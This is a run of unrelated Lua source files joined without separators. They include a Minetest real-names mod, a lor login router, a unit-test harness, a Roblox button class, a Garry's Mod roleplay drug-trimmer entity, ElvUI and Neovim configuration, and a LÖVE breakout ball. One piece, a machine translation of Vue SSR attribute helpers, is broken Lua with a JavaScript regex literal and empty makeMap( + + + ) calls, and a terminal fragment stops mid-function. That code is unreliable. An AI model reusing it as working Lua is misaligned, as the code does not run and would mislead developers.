ChatCmdBuilder.new("info", function(cmd) cmd:sub(":target", function(name, target) local player = minetest.get_player_by_name(target) local realName if not player then return false, "Please chose valid player name" else return true, target.."'s real name is '"..rn.data:get_string(target) end end) cmd:sub("", function(caller) local realName = rn.data:get_string(caller) return true, "Your Real Name is: "..realName end) end, { params = "<player>", description = "Get the real name of a player", } ) ChatCmdBuilder.new("change", function(cmd) cmd:sub(":target", function(name, target) local player = minetest.get_player_by_name(target) if not player then return false, "Please chose valid player name" else minetest.show_formspec(target, "real_names:form", rn.form) end end) cmd:sub("", function(caller) local player = minetest.get_player_by_name(caller) if not player then return false, "You must be online to do this" else minetest.show_formspec(caller, "real_names:form", rn.form) end end) cmd:sub(":target :firstname :lastname", function(caller, target, firstname, lastname) local player = minetest.get_player_by_name(target) local newname = firstname.." "..lastname local original_name = rn.data:get_string(target) if not player then return false, "Please chose valid player name" else rn.data:set_string(player:get_player_name(), newname) minetest.chat_send_all(rn.data:get_string(target)..", "..newname) if rn.data:get_string(target) == tostring(newname) then minetest.chat_send_player(target, "Your name has been changed to "..newname) return true, target.."'s name successfully set to "..newname else rn.data:set_string(player:get_player_name(), original_name) return false, "Something went wrong, name reset to orginal" end end end) end, { params = "<player> |<new name>|", description = "Send a gender and name change or sets players name to <new name>", privs = { change_name = true }, } )
require("shared/src/makeMap") local specialBooleanAttrs = nil local isSpecialBooleanAttr = makeMap(specialBooleanAttrs) local isBooleanAttr = makeMap(specialBooleanAttrs + + + ) -- [ts2lua]tslua无法自动转换正则表达式,请手动处理。 local unsafeAttrCharRE = /[>/="'\u0009\u000a\u000c\u0020]/ local attrValidationCache = {} function isSSRSafeAttrName(name) if attrValidationCache:hasOwnProperty(name) then -- [ts2lua]attrValidationCache下标访问可能不正确 return attrValidationCache[name] end local isUnsafe = unsafeAttrCharRE:test(name) if isUnsafe then console:error() end -- [ts2lua]attrValidationCache下标访问可能不正确 return attrValidationCache[name] = not isUnsafe end local propsToAttrMap = {acceptCharset='accept-charset', className='class', htmlFor='for', httpEquiv='http-equiv'} local isNoUnitNumericStyleProp = makeMap( + + + + + + + ) local isKnownAttr = makeMap( + + + + + + + + + + + + + + )
--[[ Framework Unit Testing Performs unit testing on parts of the engine ]] local lib local unit unit = { test = function(self) local out = "" for name, test in next, self.tests do out = out .. "\byellow\bRUNNING TEST \"" .. name:upper() .. "\"...\n" out = out .. self:report_suite(name) .. "\n" end out = out:sub(1, -2) return out end, report_suite = function(self, suite_name) return self:generate_report(self:run_suite(suite_name)) end, generate_report = function(self, out) local report = "" local success = lib.utility.table_pop(out) for name, result in next, out do report = report .. "\bwhite\b TEST \bblue\b" .. name:upper() .. ": " if (result) then report = report .. "\bgreen\b" .. "SUCCESS" else report = report .. "\bred\b" .. "FAIL" end report = report .. "\n" end if (success) then report = report .. "\bgreen\bSUITE SUCCESS" else report = report .. "\bred\bSUITE FAIL" end return report end, run_suite = function(self, suite_name) local suite = self.tests[suite_name] local out = {} if (suite) then local test_start = lib.utility.table_pop(suite, "start") local test_end = lib.utility.table_pop(suite, "end") if (test_start) then test_start() end for name, test in next, suite do out[name] = self:run_test(test) end out[1] = not lib.utility.table_contains(out, false) if (test_end) then test_end() end return out else return false end end, evaluate = function(self, test_component) if (test_component) then local safe_component = {unpack(test_component)} local first = safe_component[1] if (type(first) == "function") then lib.utility.table_pop(safe_component) local result = {pcall(first, unpack(safe_component))} if (lib.utility.table_pop(result)) then --checks for call success and removes it from the result table return result else return false end else return safe_component end else return false end end, run_test = function(self, test) local first = self:evaluate(test[1]) local second = self:evaluate(test[2]) if (first and second) then return lib.utility.table_equals(first, second, true) end end, init = function(self, engine) lib = engine.lib local utility = lib.utility self.tests = { utility = { ["string split single"] = {{utility.string_split, "a,b,c", ","}, {{"a", "b", "c"}}}, ["string split multi"] = {{utility.string_split, "XasdYasdZ", "asd"}, {{"X", "Y", "Z"}}}, ["table contains"] = {{utility.table_contains, {1, 2, 3}, 3}, {true}}, ["table not contains"] = {{utility.table_contains, {1, 2, 3}, 4}, {false}}, ["table equals"] = {{utility.table_equals, {1, 2, 3}, {1, 2, 3}}, {true}}, ["table not equals"] = {{utility.table_equals, {1, 2, 3}, {3, 2, 1}}, {false}}, ["table pop"] = {{utility.table_pop, {1, 2, 3}}, {1, {2, 3}}}, ["table pop numeric"] = {{utility.table_pop, {1, 2, 3}, 2}, {2, {1, 3}}}, ["table pop string"] = {{utility.table_pop, {a = 1, b = 2, c = 3}, "a"}, {1, {b = 2, c = 3}}}, ["table deep copy"] = {{utility.table_deepcopy, {1, 2, 3}}, {{1, 2, 3}}}, ["table deep copy to"] = {{utility.table_deepcopy, {1, 2, 3}, {4, 5, 6}}, {{1, 2, 3, 4, 5, 6}}}, ["table copy"] = {{utility.table_copy, {1, 2, 3}}, {{1, 2, 3}}}, ["table merge"] = {{utility.table_merge, {3, 3, 3, 4, 5}, {1, 2, 3}}, {{1, 2, 3, 4, 5}}}, ["table size numeric"] = {{utility.table_size, {1, 2, 3}}, {3}}, ["table size arbitrary"] = {{utility.table_size, {a = 1, b = 2, c = 3}}, {3}} } } end } return unit
local pairs = pairs local ipairs = ipairs local smatch = string.match local ssub = string.sub local slen = string.len local cjson = require("cjson") local utils = require("app.libs.utils") local pwd_secret = require("app.config.config").pwd_secret local lor = require("lor.index") local user_model = require("app.model.user") local auth_router = lor:Router() auth_router:get("/login", function(req, res, next) res:render("login") end) auth_router:get("/sign_up", function(req, res, next) res:render("sign_up") end) auth_router:post("/sign_up", function(req, res, next) local username = req.body.username local password = req.body.password local pattern = "^[a-zA-Z][0-9a-zA-Z_]+$" local match, err = smatch(username, pattern) if not username or not password or username == "" or password == "" then return res:json({ success = false, msg = "用户名和密码不得为空." }) end local username_len = slen(username) local password_len = slen(password) if username_len<4 or username_len>50 then return res:json({ success = false, msg = "用户名长度应为4~50位." }) end if password_len<6 or password_len>50 then return res:json({ success = false, msg = "密码长度应为6~50位." }) end if not match then return res:json({ success = false, msg = "用户名只能输入字母、下划线、数字,必须以字母开头." }) end local result, err = user_model:query_by_username(username) local isExist = false if result and not err then isExist = true end if isExist == true then return res:json({ success = false, msg = "用户名已被占用,请修改." }) else password = utils.encode(password .. "#" .. pwd_secret) local avatar = ssub(username, 1, 1) .. ".png" --取首字母作为默认头像名 local result, err = user_model:new(username, password, avatar) if result and not err then return res:json({ success = true, msg = "注册成功." }) else return res:json({ success = false, msg = "注册失败." }) end end end) auth_router:post("/login", function(req, res, next) local username = req.body.username local password = req.body.password if not username or not password or username == "" or password == "" then return res:json({ success = false, msg = "用户名和密码不得为空." }) end local isExist = false local userid = 0 password = utils.encode(password .. "#" .. pwd_secret) local result, err = user_model:query(username, password) local user = {} if result and not err then if result and #result == 1 then isExist = true user = result[1] userid = user.id end else isExist = false end if isExist == true then req.session.set("user", { username = username, userid = userid, create_time = user.create_time or "" }) return res:json({ success = true, msg = "登录成功." }) else return res:json({ success = false, msg = "用户名或密码错误,请检查!" }) end end) auth_router:get("/logout", function(req, res, next) res.locals.login = false res.locals.username = "" res.locals.userid = 0 res.locals.create_time = "" req.session.destroy() res:redirect("/index") end) return auth_router
sizeTerm = { termX1 = 0, termY1 = 0, termX2 = 0, termY2 = 0, setCursorPos = function(self, cursorX, cursorY) newPosX = termX1 + cursorX newPosY = termY1 + cursorY if newPosX <= termX2 and newPosY <= termY2 then term.setCursorPos(newPosX, newPosY) end return nil end, blit = function(txt, color, backround_color)
local E, L, V, P, G = unpack(select(2, ...)); --Import: Engine, Locales, PrivateDB, ProfileDB, GlobalDB local UF = E:GetModule('UnitFrames'); --Cache global variables --Lua functions local unpack = unpack --WoW API / Variables local CreateFrame = CreateFrame function UF:Construct_RaidDebuffs(frame) local rdebuff = CreateFrame('Frame', nil, frame.RaisedElementParent) rdebuff:SetTemplate("Default", nil, nil, UF.thinBorders, true) rdebuff:SetFrameLevel(frame.RaisedElementParent:GetFrameLevel() + 20) --Make them appear above regular buffs or debuffs local offset = UF.thinBorders and E.mult or E.Border rdebuff.icon = rdebuff:CreateTexture(nil, 'OVERLAY') rdebuff.icon:SetTexCoord(unpack(E.TexCoords)) rdebuff.icon:SetInside(rdebuff, offset, offset) rdebuff.count = rdebuff:CreateFontString(nil, 'OVERLAY') rdebuff.count:FontTemplate(nil, 10, 'OUTLINE') rdebuff.count:Point('BOTTOMRIGHT', 0, 2) rdebuff.count:SetTextColor(1, .9, 0) rdebuff.time = rdebuff:CreateFontString(nil, 'OVERLAY') rdebuff.time:FontTemplate(nil, 10, 'OUTLINE') rdebuff.time:Point('CENTER') rdebuff.time:SetTextColor(1, .9, 0) return rdebuff end function UF:Configure_RaidDebuffs(frame) if not frame.VARIABLES_SET then return end local db = frame.db local rdebuffs = frame.RaidDebuffs local stackColor = db.rdebuffs.stack.color local durationColor = db.rdebuffs.duration.color if db.rdebuffs.enable then local rdebuffsFont = UF.LSM:Fetch("font", db.rdebuffs.font) if not frame:IsElementEnabled('RaidDebuffs') then frame:EnableElement('RaidDebuffs') end rdebuffs.showDispellableDebuff = db.rdebuffs.showDispellableDebuff rdebuffs.onlyMatchSpellID = db.rdebuffs.onlyMatchSpellID rdebuffs.forceShow = frame.forceShowAuras rdebuffs:Size(db.rdebuffs.size) rdebuffs:Point('BOTTOM', frame, 'BOTTOM', db.rdebuffs.xOffset, db.rdebuffs.yOffset + frame.SPACING) rdebuffs.count:FontTemplate(rdebuffsFont, db.rdebuffs.fontSize, db.rdebuffs.fontOutline) rdebuffs.count:ClearAllPoints() rdebuffs.count:Point(db.rdebuffs.stack.position, db.rdebuffs.stack.xOffset, db.rdebuffs.stack.yOffset) rdebuffs.count:SetTextColor(stackColor.r, stackColor.g, stackColor.b, stackColor.a) rdebuffs.time:FontTemplate(rdebuffsFont, db.rdebuffs.fontSize, db.rdebuffs.fontOutline) rdebuffs.time:ClearAllPoints() rdebuffs.time:Point(db.rdebuffs.duration.position, db.rdebuffs.duration.xOffset, db.rdebuffs.duration.yOffset) rdebuffs.time:SetTextColor(durationColor.r, durationColor.g, durationColor.b, durationColor.a) elseif frame:IsElementEnabled('RaidDebuffs') then frame:DisableElement('RaidDebuffs') rdebuffs:Hide() end end
--[[ TheNexusAvenger Main module representing the button class. This button is meant to provide an easy way to make "good looking", cross platform buttons. --]] --The amount cut on the top left and bottom right corners. local CORNER_CUT_BACKGROUND_RELATIVE = 0.3 --Color multiplier when hovering. local HOVER_COLOR_MULTIPLIER = 0.7 --Color multiplier when clicking. local CLICK_COLOR_MULTIPLIER = 1/0.7 --The color of the last section for controllers. local CONTROLLER_SECTION_COLOR = Color3.new(50/255,50/255,50/255) local ColoredCutFrame = require(script:WaitForChild("Gui"):WaitForChild("ColoredCutFrame")) local ControllerIcon = require(script:WaitForChild("Gui"):WaitForChild("ControllerIcon")) local BaseButton = require(script:WaitForChild("Gui"):WaitForChild("BaseButton")) local NexusInstance = require(script:WaitForChild("NexusInstance"):WaitForChild("NexusInstance")) local NexusButton = NexusInstance:Extend() NexusButton:SetClassName("NexusButton") --[[ Multiplies a Color3. --]] local function MultiplyColor3(Color,Multiplier) --Multiply the R,G,B values. local NewR,NewG,NewB = Color.r * Multiplier,Color.g * Multiplier,Color.b * Multiplier --Clamp the values. NewR = math.clamp(NewR,0,1) NewG = math.clamp(NewG,0,1) NewB = math.clamp(NewB,0,1) --Return the color. return Color3.new(NewR,NewG,NewB) end --[[ Multiplies a ColorSequence. --]] local function MultiplyColorSequence(Sequence,Multiplier) local Keypoints = {} --Multiply the keypoints. for _,Keypoint in pairs(Sequence.Keypoints) do local MultipliedColor = MultiplyColor3(Keypoint.Value,Multiplier) table.insert(Keypoints,ColorSequenceKeypoint.new(Keypoint.Time,MultipliedColor)) end --Return the new color sequence. return ColorSequence.new(Keypoints) end --[[ Truncates a color sequence at a given time and sets the color sequence to the color. --]] local function TruncateColorSequence(Sequence,Time,FinalColor) local Keypoints = {} --Truncate the keypoints. for _,Keypoint in pairs(Sequence.Keypoints) do if Keypoint.Time < Time then table.insert(Keypoints,Keypoint) end end --Add the new keypooints. table.insert(Keypoints,ColorSequenceKeypoint.new(Time,FinalColor)) table.insert(Keypoints,ColorSequenceKeypoint.new(1,FinalColor)) --Return the new color sequence. return ColorSequence.new(Keypoints) end --[[ Creates a Nexus Button object. --]] function NexusButton:__new() self:InitializeSuper() self.__Hovered = false self.__Clicked = false self.BorderSizePixel = 0 self.TopLeftCutEnabled = true self.BottomRightCutEnabled = true self.__Events = {} --Create the button as the adorn frame. local AdornButton = BaseButton.new() local AdornFrame = AdornButton.BaseFrame local LogicalAdornFrame = AdornButton.LogicalFrame LogicalAdornFrame.BackgroundTransparency = 1 self.AdornButton = AdornButton self.AdornFrame = AdornFrame self.LogicalAdornFrame = LogicalAdornFrame rawset(self.object,"AdornFrame",self.AdornFrame) rawset(self.object,"LogicalAdornFrame",self.LogicalAdornFrame) --Create the border adorn and cut frames. local BorderAdorn = Instance.new("Frame") BorderAdorn.BackgroundTransparency = 1 BorderAdorn.Parent = AdornFrame self.BorderAdorn = BorderAdorn --Create the contents adorn. local ContentsAdorn = Instance.new("Frame") ContentsAdorn.BackgroundTransparency = 1 ContentsAdorn.Size = UDim2.new(1,0,1,0) ContentsAdorn.ZIndex = 5 ContentsAdorn.Parent = AdornFrame self.ContentsAdorn = ContentsAdorn --Create the gamepad icon. local GamepadIcon = ControllerIcon.new() GamepadIcon.AdornFrame.Size = UDim2.new(1,0,1,0) GamepadIcon.AdornFrame.Position = UDim2.new(1,0,0,0) GamepadIcon.AdornFrame.SizeConstraint = "RelativeYY" GamepadIcon.AdornFrame.AnchorPoint = Vector2.new(1,0) GamepadIcon.AdornFrame.ZIndex = 5 GamepadIcon.AdornFrame.Parent = AdornFrame self.GamepadIcon = GamepadIcon --Create the cut frames. self.BorderCutFrame = ColoredCutFrame.new(BorderAdorn) self.BackgroundCutFrame = ColoredCutFrame.new(AdornFrame) self.BackgroundCutFrame.ZIndex = 2 --Set up the events. table.insert(self.__Events,LogicalAdornFrame.MouseEnter:Connect(function() self.__Hovered = true self:__UpdateColors() end)) table.insert(self.__Events,LogicalAdornFrame.MouseLeave:Connect(function() self.__Hovered = false self:__UpdateColors() end)) table.insert(self.__Events,AdornButton.MouseButton1Down:Connect(function() self.__Clicked = true self:__UpdateColors() end)) table.insert(self.__Events,AdornButton.MouseButton1Up:Connect(function() self.__Clicked = false self:__UpdateColors() end)) --Remap the events. self.MouseButton1Down = AdornButton.MouseButton1Down self.MouseButton1Click = AdornButton.MouseButton1Click self.MouseButton1Up = AdornButton.MouseButton1Up self.MouseButton2Down = AdornButton.MouseButton2Down self.MouseButton2Click = AdornButton.MouseButton2Click self.MouseButton2Up = AdornButton.MouseButton2Up --Set up replication. local CustomReplication = {} self:AddGenericPropertyFinalizer(function(Index,Value) --Fire a custom replication method. local ReplicationMethod = CustomReplication[Index] if ReplicationMethod then ReplicationMethod() return end --Replicate to the instance. LogicalAdornFrame[Index] = Value end) table.insert(self.__Events,LogicalAdornFrame.Changed:Connect(function(PropertyName) local ExistingValue,NewProperty = self[PropertyName],LogicalAdornFrame[PropertyName] if self[PropertyName] ~= nil and ExistingValue ~= NewProperty then self[PropertyName] = NewProperty end end)) --Add custom replication overrides. CustomReplication["__Hovered"] = function() end CustomReplication["__Clicked"] = function() end CustomReplication["__Events"] = function() end CustomReplication["AutoButtonColor"] = function() self:__UpdateColors() end CustomReplication["BackgroundColor3"] = function() self:__UpdateColors() end CustomReplication["BorderColor3"] = function() self.BorderCutFrame.BackgroundColor3 = self.BorderColor3 end CustomReplication["BorderSizePixel"] = function() BorderAdorn.Size = UDim2.new(1,0,1 + self.BorderSizeScale,self.BorderSizePixel) self:__UpdateCuts() end CustomReplication["BorderSizeScale"] = function() BorderAdorn.Size = UDim2.new(1,0,1 + self.BorderSizeScale,self.BorderSizePixel) self:__UpdateCuts() end CustomReplication["BackgroundTransparency"] = function() self.BackgroundCutFrame.BackgroundTransparency = self.BackgroundTransparency end CustomReplication["BorderTransparency"] = function() self.BorderCutFrame.BackgroundTransparency = self.BorderTransparency end CustomReplication["TopLeftCutEnabled"] = function() self:__UpdateCuts() end CustomReplication["BottomRightCutEnabled"] = function() self:__UpdateCuts() end --Set up events. table.insert(self.__Events,LogicalAdornFrame:GetPropertyChangedSignal("AbsoluteSize"):Connect(function() if self.GamepadIcon.IconVisible then self:__UpdateColors() end end)) table.insert(self.__Events,BorderAdorn:GetPropertyChangedSignal("AbsoluteSize"):Connect(function() if LogicalAdornFrame.AbsoluteSize.Y == 0 or not self.BottomRightCutEnabled then self.BorderCutFrame:RemoveCut("Bottom","Right") else local BorderSizeRelative = (BorderAdorn.AbsoluteSize.Y/LogicalAdornFrame.AbsoluteSize.Y) - 1 local BorderCornerCutRelative = (CORNER_CUT_BACKGROUND_RELATIVE/math.sqrt(2)) / (1 + BorderSizeRelative) self.BorderCutFrame:CutCorner("Bottom","Right",UDim2.new(BorderCornerCutRelative,0,BorderCornerCutRelative,0),"RelativeYY") end end)) table.insert(self.__Events,GamepadIcon:GetPropertyChangedSignal("IconVisible"):Connect(function() self:__UpdateColors() end)) --Set the defaults. self.Size = UDim2.new(0,200,0,50) self.BackgroundColor3 = Color3.new(0.8,0.8,0.8) self.BorderColor3 = Color3.new(0,0,0) self.BorderSizeScale = 0.2 self.BackgroundTransparency = 0 self.BorderTransparency = 0 self.AutoButtonColor = true end --[[ Creates an __index metamethod for an object. Used to setup custom indexing. --]] function NexusButton:__createindexmethod(Object,Class,RootClass) --Get the base method. local BaseIndexMethod = self.super:__createindexmethod(Object,Class,RootClass) --Return a wrapped method. return function(MethodObject,Index) --Return the base return if it exists. local BaseReturn = BaseIndexMethod(MethodObject,Index) if BaseReturn ~= nil then return BaseReturn end --Return an instance property. local LogicalAdornFrame = rawget(Object.object,"LogicalAdornFrame") if LogicalAdornFrame then --Get the value in a protected call. local Worked,Return = pcall(function() local Value = LogicalAdornFrame[Index] if Value ~= nil then return Value end end) --Return the value. if Worked and Return ~= nil then return Return end end end end --[[ Updates the colors of the button. --]] function NexusButton:__UpdateColors() local BackgroundColor3 = self.BackgroundColor3 local ColorMultiplier = 1 --Determine the color multiplier. if self.AutoButtonColor then if self.__Clicked then ColorMultiplier = CLICK_COLOR_MULTIPLIER elseif self.__Hovered then ColorMultiplier = HOVER_COLOR_MULTIPLIER end end --Add the section for the gamepad icon if it is visible. if self.GamepadIcon.IconVisible then local SizeX,SizeY = self.LogicalAdornFrame.AbsoluteSize.X,self.LogicalAdornFrame.AbsoluteSize.Y local ColorPos = 1 - (SizeY/(SizeX ~= 0 and SizeX or 1)) if typeof(BackgroundColor3) == "ColorSequence" then BackgroundColor3 = TruncateColorSequence(BackgroundColor3,ColorPos,CONTROLLER_SECTION_COLOR) elseif typeof(BackgroundColor3) == "Color3" then if ColorPos ~= 0 and ColorPos ~= 1 then BackgroundColor3 = ColorSequence.new({ ColorSequenceKeypoint.new(0,BackgroundColor3), ColorSequenceKeypoint.new(ColorPos,CONTROLLER_SECTION_COLOR), ColorSequenceKeypoint.new(1,CONTROLLER_SECTION_COLOR), }) end end end --Multiply the color. if ColorMultiplier ~= 1 then if typeof(BackgroundColor3) == "Color3" then BackgroundColor3 = MultiplyColor3(BackgroundColor3,ColorMultiplier) elseif typeof(BackgroundColor3) == "ColorSequence" then BackgroundColor3 = MultiplyColorSequence(BackgroundColor3,ColorMultiplier) end end --Set the background color. self.BackgroundCutFrame.BackgroundColor3 = BackgroundColor3 end --[[ Updates the cuts. --]] function NexusButton:__UpdateCuts() local BorderSizeY,BackgroundSizeY = self.BorderAdorn.AbsoluteSize.Y,self.LogicalAdornFrame.AbsoluteSize.Y --Set the background cuts. local BackgroundInnerCutRelative = (CORNER_CUT_BACKGROUND_RELATIVE/math.sqrt(2)) / (BackgroundSizeY/BorderSizeY) if self.BottomRightCutEnabled then self.BackgroundCutFrame:CutCorner("Bottom","Right",UDim2.new(BackgroundInnerCutRelative,0,BackgroundInnerCutRelative,0),"RelativeYY") else self.BackgroundCutFrame:RemoveCut("Bottom","Right") end if self.TopLeftCutEnabled then self.BackgroundCutFrame:CutCorner("Top","Left",UDim2.new(CORNER_CUT_BACKGROUND_RELATIVE,0,CORNER_CUT_BACKGROUND_RELATIVE,0),"RelativeYY") else self.BackgroundCutFrame:RemoveCut("Top","Left") end --Set the border cuts. local BorderMultiplier = BackgroundSizeY/BorderSizeY if self.BottomRightCutEnabled then self.BorderCutFrame:CutCorner("Bottom","Right",UDim2.new(CORNER_CUT_BACKGROUND_RELATIVE * BorderMultiplier,0,CORNER_CUT_BACKGROUND_RELATIVE * BorderMultiplier,0),"RelativeYY") else self.BorderCutFrame:RemoveCut("Bottom","Right") end if self.TopLeftCutEnabled then self.BorderCutFrame:CutCorner("Top","Left",UDim2.new(CORNER_CUT_BACKGROUND_RELATIVE * BorderMultiplier,0,CORNER_CUT_BACKGROUND_RELATIVE * BorderMultiplier,0),"RelativeYY") else self.BorderCutFrame:RemoveCut("Top","Left") end end --[[ Returns the adorn frame to parent frames to the button. --]] function NexusButton:GetAdornFrame() return self.ContentsAdorn end --[[ Sets the controller icon for the button. --]] function NexusButton:SetControllerIcon(KeyCode) self.GamepadIcon:SetIcon(KeyCode) end --[[ Maps a key input to a mouse input for clicking. --]] function NexusButton:MapKey(KeyCode,MouseInput) self.AdornButton:MapKey(KeyCode,MouseInput) end --[[ Unmaps a key input to a mouse input for clicking. --]] function NexusButton:UnmapKey(KeyCode) self.AdornButton:UnmapKey(KeyCode) end --[[ Destroys the frame and disconnects the events. --]] function NexusButton:Destroy() self.super:Destroy() --Disconnect the events. for _,Event in pairs(self.__Events) do Event:Disconnect() end self.__Events = {} --Destory the frames. self.BackgroundCutFrame:Destroy() self.BorderCutFrame:Destroy() self.GamepadIcon:Destroy() self.AdornButton:Destroy() end return NexusButton
--[[ Name: init.lua For: SantosRP By: TalosLife ]]-- AddCSLuaFile "cl_init.lua" AddCSLuaFile "shared.lua" include "shared.lua" local acceptedItems = { ["Dry Cannabis (Low Quality)"] = true, ["Dry Cannabis (Medium Quality)"] = true, ["Dry Cannabis (High Quality)"] = true, } function ENT:Initialize() self:SetModel( "models/props_junk/MetalBucket02a.mdl" ) self:PhysicsInit( SOLID_VPHYSICS ) self:SetMoveType( MOVETYPE_VPHYSICS ) self:SetSolid( SOLID_VPHYSICS ) self:SetUseType( SIMPLE_USE ) self:SetTrigger( true ) self:PhysWake() self.m_entWeed = ents.Create( "prop_dynamic" ) self.m_entWeed:SetModel( "models/freeman/drugbale_large.mdl" ) self.m_entWeed:SetPos( self:LocalToWorld(Vector(-0.090304, -0.291238, -1.003891)) ) self.m_entWeed:SetAngles( self:LocalToWorldAngles(Angle(-0.137, -83.112, -0.461)) ) self.m_entWeed:SetNoDraw( true ) self.m_entWeed:SetParent( self ) self:DeleteOnRemove( self.m_entWeed ) self:NextThink( CurTime() +1 ) end function ENT:Think() if not self.m_intStartTrimTime then return end if CurTime() > self.m_intStartTrimTime +self.TrimTime then self.m_intGiveAmount = GAMEMODE.Inv:GetItem( self.m_strItemID ).TrimmerGiveAmount or 1 self.m_strItemID = GAMEMODE.Inv:GetItem( self.m_strItemID ).TrimmerGiveItem self.m_intStartTrimTime = nil self:SetRunning( false ) self.m_entWeed:SetNoDraw( false ) end self:NextThink( 0 ) return end function ENT:Use( pPlayer ) if GAMEMODE.Jobs:GetPlayerJobID( pPlayer ) == JOB_POLICE then if self:GetPlayerOwner() ~= pPlayer and not GAMEMODE.Buddy:IsItemShared( pPlayer, self:GetPlayerOwner() ) then self:Remove() local rand = math.random( GAMEMODE.Config.MinDrugConfiscatePrice, GAMEMODE.Config.MaxDrugConfiscatePrice ) pPlayer:AddNote( "You confiscated illegal drug equipment!" ) pPlayer:AddNote( "A $".. string.Comma(rand).. " bonus has been transferred to your bank account." ) pPlayer:AddBankMoney( rand ) return end end if self.m_strItemID and not self.m_intStartTrimTime then if GAMEMODE.Inv:GivePlayerItem( pPlayer, self.m_strItemID, self.m_intGiveAmount ) then pPlayer:AddNote( "You collected ".. self.m_intGiveAmount.. " ".. self.m_strItemID.. " from the trimmer." ) self.m_strItemID = nil self.m_intGiveAmount = nil self.m_entWeed:SetNoDraw( true ) end end end function ENT:StartTouch( entOther ) if self.m_strItemID then return end if entOther.m_bTouchHandled then return end if not entOther.ItemID then return end if not acceptedItems[entOther.ItemID] then return end self.m_strItemID = entOther.ItemID self.m_intStartTrimTime = CurTime() self:SetRunning( true ) entOther:Remove() entOther.m_bTouchHandled = true end function ENT:CanPlayerPickup( pPlayer, bCanUse ) if self.m_strItemID then return false end return bCanUse end function ENT:CanPlayerUse( pPlayer ) return true end function ENT:CanSendToLostAndFound() return true end
StormFox_SOUND = StormFox_SOUND or {} if SERVER then util.AddNetworkString("StormFox - Sound") function StormFox.CLEmitSound(snd,ply,vol) net.Start("StormFox - Sound") net.WriteString(snd) net.WriteFloat(vol or 1) if ply then net.Send(ply) else net.Broadcast() end end else net.Receive("StormFox - Sound",function(len) if not LocalPlayer() then return end if not IsValid(LocalPlayer()) then return end local snd = net.ReadString() local vol = net.ReadFloat() or 1 if not snd then return end LocalPlayer():EmitSound(snd,75,100,vol) end) end
local M = {} M.config = function() vim.g.indent_blankline_filetype_exclude = { "help", "startify", "dashboard", "packer", "neogitstatus", "NvimTree", "Trouble", } vim.g.indentLine_enabled = 1 vim.g.indent_blankline_char = "▎" vim.g.indent_blankline_show_trailing_blankline_indent = false vim.g.indent_blankline_show_first_indent_level = true vim.g.indent_blankline_use_treesitter = true vim.g.indent_blankline_show_current_context = true vim.g.indent_blankline_context_patterns = { "class", "return", "function", "method", "^if", "^while", "jsx_element", "^for", "^object", "^table", "block", "arguments", "if_statement", "else_clause", "jsx_element", "jsx_self_closing_element", "try_statement", "catch_clause", "import_statement", "operation_type", } -- HACK: work-around for https://github.com/lukas-reineke/indent-blankline.nvim/issues/59 vim.wo.colorcolumn = "99999" -- vim.cmd [[highlight IndentBlanklineIndent1 guifg=#E06C75 gui=nocombine]] -- vim.cmd [[highlight IndentBlanklineIndent2 guifg=#E5C07B gui=nocombine]] -- vim.cmd [[highlight IndentBlanklineIndent3 guifg=#98C379 gui=nocombine]] -- vim.cmd [[highlight IndentBlanklineIndent4 guifg=#56B6C2 gui=nocombine]] -- vim.cmd [[highlight IndentBlanklineIndent5 guifg=#61AFEF gui=nocombine]] -- vim.cmd [[highlight IndentBlanklineIndent6 guifg=#C678DD gui=nocombine]] -- vim.opt.list = true -- vim.opt.listchars:append "space:⋅" -- vim.opt.listchars:append "space:" -- vim.opt.listchars:append "eol:↴" -- vim.g.indent_blankline_filetype_exclude = { "help", "terminal", "dashboard" } -- vim.g.indent_blankline_buftype_exclude = { "terminal" } -- vim.g.indent_blankline_char = "▏" -- vim.g.indent_blankline_show_trailing_blankline_indent = false -- vim.g.indent_blankline_show_first_indent_level = true vim.g.indent_blankline_space_char_blankline = " " vim.g.indent_blankline_show_current_context = true vim.g.indent_blankline_show_current_context_start = true end return M
local ball = Class{ type = 'ball' } function ball:init (x, y) self.destroyed = false if x == nil then self.x = love.math.random(1,2) == 1 and 258 or 288 self.y = VIRTUAL_HEIGHT-70 self.dx = love.math.random(90, 360) * (self.x == 258 and -1 or 1) self.dy = -180 self.catched = true else self.x = x self.y = y self.dx = love.math.random(-180, 180) self.dy = -180 self.catched = false end self._dieHnd = Signal.register('die', function () self:destroy() end) self._moveHnd = Signal.register('move', function (dx) if self.catched then self.x = self.x + dx World:update(self, self.x, self.y) end end) Timer.after(0.01, function () if self.destroyed then return end self._pwrHnd = Signal.register('powerup', function (power) if power == 'catch' then self.catchable = true Sounds.up:seek(0) Sounds.up:play() elseif power == 'slow' then self.catchable = false self.catched = false self.dy = 180 * (self.dy < 0 and -1 or 1) elseif power == 'laser' or power == 'enlarge' or power == 'duplicate' then self.catchable = false self.catched = false end end) end) World:add(self, self.x, self.y, 10, 10) end function ball:update (dt) if self.destroyed then return end if self.catched then if Input:pressed('action') then self.catched = false Sounds.catch:play() end else self.x = self.x + self.dx*dt self.y = self.y + self.dy*dt local actualX, actualY, cols, len = World:move(self, self.x, self.y, function (_, other) if other.type == 'edge' or other.type == 'paddle' or other.type == 'brick' then return 'bounce' elseif other.type == 'deadzone' then return 'slide' else return nil end end) self.x = actualX self.y = actualY for i = 1, len do local sprite = cols[i].other if sprite.type == 'deadzone' then self:destroy() Signal.emit('deadball') elseif sprite.type == 'paddle' then self.dx = sprite:calculateDelta(actualX) if self.dy > 0 then self.dy = -self.dy end if self.catchable then self.catched = true Sounds.select:play() else Sounds.up:play() end elseif sprite.type == 'brick' then Signal.emit('points', sprite.points) sprite:hit() self.dy = math.min(540, math.max(-540, self.dy * 1.1)) end if cols[i].bounce then if sprite.type ~= 'paddle' then if (self.dx < 0 and cols[i].bounce.x > cols[i].touch.x) or (self.dx > 0 and cols[i].bounce.x < cols[i].touch.x) then self.dx = -self.dx end if (self.dy < 0 and cols[i].bounce.y > cols[i].touch.y) or (self.dy > 0 and cols[i].bounce.y < cols[i].touch.y) then self.dy = -self.dy end end end end end end function ball:render () if self.destroyed then return end love.graphics.draw(Graphics.ball, self.x, self.y) end function ball:destroy () self.destroyed = true if World:hasItem(self) then World:remove(self) end if self._pwrHnd then Signal.remove('powerup', self._pwrHnd); self._pwrHnd = nil end if self._dieHnd then Signal.remove('die', self._dieHnd); self._dieHnd = nil end if self._moveHnd then Signal.remove('move', self._moveHnd); self._moveHnd = nil end end return ball
